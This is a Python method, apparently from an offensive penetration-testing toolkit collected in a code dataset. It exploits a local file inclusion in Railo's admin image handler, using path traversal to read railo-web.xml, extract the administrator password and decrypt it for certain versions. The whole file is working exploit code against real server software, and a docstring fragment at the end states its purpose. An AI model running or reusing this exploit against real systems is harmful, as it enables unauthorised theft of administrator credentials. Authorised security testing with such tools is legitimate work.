def run(self, fingerengine, fingerprint):                

        utility.Msg("Attempting to pull password...")

        base = "http://{0}:{1}/railo-context/admin/img.cfm?attributes.src="\
               "../../../../railo-web.xml&thistag.executionmode=start"\
                                            .format(fingerengine.options.ip, 
                                                    fingerprint.port)
        
        response = utility.requests_get(base)
        if response.status_code is 200:
            data = re.findall("railo-configuration p.*w*?=\"(.*?)\" ", response.content)
            if len(data) > 0:
                
                # determine whether we can decrypt this or not
                if fingerprint.version in ['3.0', '3.3', '4.0']:
                    utility.Msg("Fetched encrypted password, decrypting...")
                    utility.Msg("Decrypted password: %s" % self.decrypt(data[0]), LOG.SUCCESS)
                else:
                    utility.Msg("Fetched password hash: %s" % data[0], LOG.SUCCESS)

        elif response.status_code is 400:
            utility.Msg("Could not retrieve file; likely that the remote Railo instance is not express", LOG.ERROR)
        else:
            utility.Msg("Failed to retrieve file (HTTP %d)" % response.status_code, LOG.ERROR)
Exploit a trivial LFI to pull an encrypted password, which we can
dataset/ETHPy150Open hatRiot/clusterd/src/platform/railo/auxiliary/password_lfi.py/Auxiliary.run